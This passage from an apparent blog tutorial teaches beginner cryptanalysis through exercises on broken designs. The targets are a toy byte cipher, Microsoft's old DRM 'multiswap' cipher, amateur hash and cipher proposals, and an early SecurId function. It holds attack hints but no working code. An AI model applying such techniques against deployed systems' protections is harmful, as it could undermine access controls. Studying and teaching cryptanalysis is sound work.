  1. Always give yourself the advantage by starting out with a chosen plaintext attack (or chosen ciphertext attack), and then it can likely be converted into other types of attacks later.
  2. It makes things easier if you write it out in terms of arrays (for A and B) so you can keep track of the relation between things from iteration to iteration.

To elaborate on point 2, the cipher would look something like this (where  A, B, and X are byte arrays of the length of the input size, and key is a byte array of length 256 — how it was generated does not really matter in my attack):

    initialise:  A[0] = 0, B[0] = 128

    for i = 1 to the number of plaintext bytes {
        Let X[i] = i'th plaintext byte
        A1 = X[i] ^ key[ B[i-1] ]
        B[i] = A1 ^ key[ A[i-1] ]
        output B[i] as the i'th byte of the ciphertext
        A[i] = A1
    }

My break revealed bytes of the key when a certain condition happens, but I bet you can generalise it to do better.

“Multiswap”

In 2001, “Beale Screamer” reverse engineered and broke Microsoft’s Digital Rights Scheme — see link.  The scheme involved a cipher that he named “multiswap” (described in the link), because it used multiplication and swapped halves of computer words around.  Beale Screamer’s break of the DRM scheme did not touch the cryptography, which made it a prime target for cryptographers.

I immediately had a look at the cipher, and it didn’t take me long before I found a way to recover two words of the key (k[5] and k[11]) simply by choosing my plaintexts in such a way that made the multiplies disappear (hint hint).  I went to sleep thinking I will return to it the next day for attacking more of the cipher.  Unfortunately, my plans were preempted by a fast team of Berkley cryptographers who had the entire cipher broke by the next day — their solution is here.

Unsurprisingly, I started my attack the exact same way as the the Berkeley team to recover two words of the key.  You should be able to do the same thing.  After that, they used differential cryptanalysis to get the rest.  Since I assume that the reader is new to cryptography, I am not going to expect that he/she derives the remaining parts of the key similar to the Berkeley team.  However, there are various approaches one can play with in order to refine their cryptographic skills.  For example, knowing the plaintext allows you to compute s0′ and s1′ (from Berkeley description, which I believe is easier to work from). Then, one can try to deduce k[0], …, k[4] independently of k[6], … , k[10].  We could almost attempt the same technique that we used to break the lcg_value( ) here, except that’s still too many key bits to guess in a practical implementation.  However, if you reduce the size of the cipher in half (half of the number of key words, half of the number of rounds), then such a technique should work.  Give it a try!

Finally, one of the cutest parts of the Berkeley attack was showing how to convert the chosen plaintext attack into a known plaintext attack.  As we said before, give yourself the best advantage to start out with, and then worry about converting it to other forms of attacks later!

Other targets to play around with

Over many years on sci.crypt, I saw a number of ciphers broken by members of the group.  I also occasionally see new ones that I think must be trivially breakable.  Nowadays, reddit seems to be the place to go.  It is impossible for me to dig up all of the easily broken designs, but here are a few that I remember:

  • The hash function Shahaha was proposed here, and broken by Scott Fluhrer here.  Can you come up with your own break?  (Scott Fluhrer broke a number of amateur designs in the sci.crypt days, but this is the only one I found so far).
  • Just as I was trying to dig up old sci.crypt examples of ciphers, somebody on reddit’s crypto group posted an I designed my own crypto thread.  This is a block cipher called XCRUSH. The full design is here.  The author claims that it is purely an academic exercise and makes no security claims at all in the paper, so his motivation is entirely for learning.  It’s also written up nicely, which is an advantage if you want people to look at your design.  Upon posting it on reddit, a character by the identity of bitwiseshiftleft found theoretical weaknesses quite soon (like in many of the examples above, the magic zero comes into play here again).  See the comments in the reddit thread for more detail. There was also some interesting analysis based upon SAT solvers, but this is outside my expertise so I leave the reference for interested parties.
  • This one might require a little bit of math, who knows how much (can’t be sure — I have not tried attacking it yet).  Here is a public key cryptosystem that seems too good to be true.  However, the author made a pretty basic mistake in his analysis (first observed by rosulek): the author claims to have proven that you can break it by solving circuit satisfiability (SAT).  Ummm, you can break every cryptosystem if you can solve SAT efficiently!  What would have been more interesting was showing the contrapositive: (i.e. if you could break his cryptosystem, then you can solve SAT).  The simple fact that the author did not know which direction to do the security reduction is indicative of his lack of experience, and hints that it can easily be broken.
  • I was debating whether or not to include the first attacks on the original SecurId in the main list above, but ultimately I decided that it is too much detail.  However if anybody wants to have a go, here is the code reverse-engineered from “I.C. Wiener”, here is the description of the function from Belgian cryptographers (My coauthor and I worked from the original version that they posted on eprint, which has since been updated), and here is the first attack I found.  Read through section 1 of my attack, and then try to attack it with the following information in mind: the vanishing differentials (collisions) happen in the first 32-subrounds, so key search can be expedited by computing only part of the function rather than the full thing (so what fraction of the function do you need to compute in order to test for a collision?)  But there is even more you can do here: only the first 32-bits of the key are involved in the first 32-subrounds, and many of these permutations on the data overlap, leading to more speedups. Two important notes: (1) although the term “vanishing differential” suggests differential cryptanalysis (not suitable for a beginner), the term really just means hash collision here, and (2) RSA has since discontinued that function and is now using something more standard in their design.

If you know of any other good ones (including a sample break), then please provide the link and I will try to regularly update the list.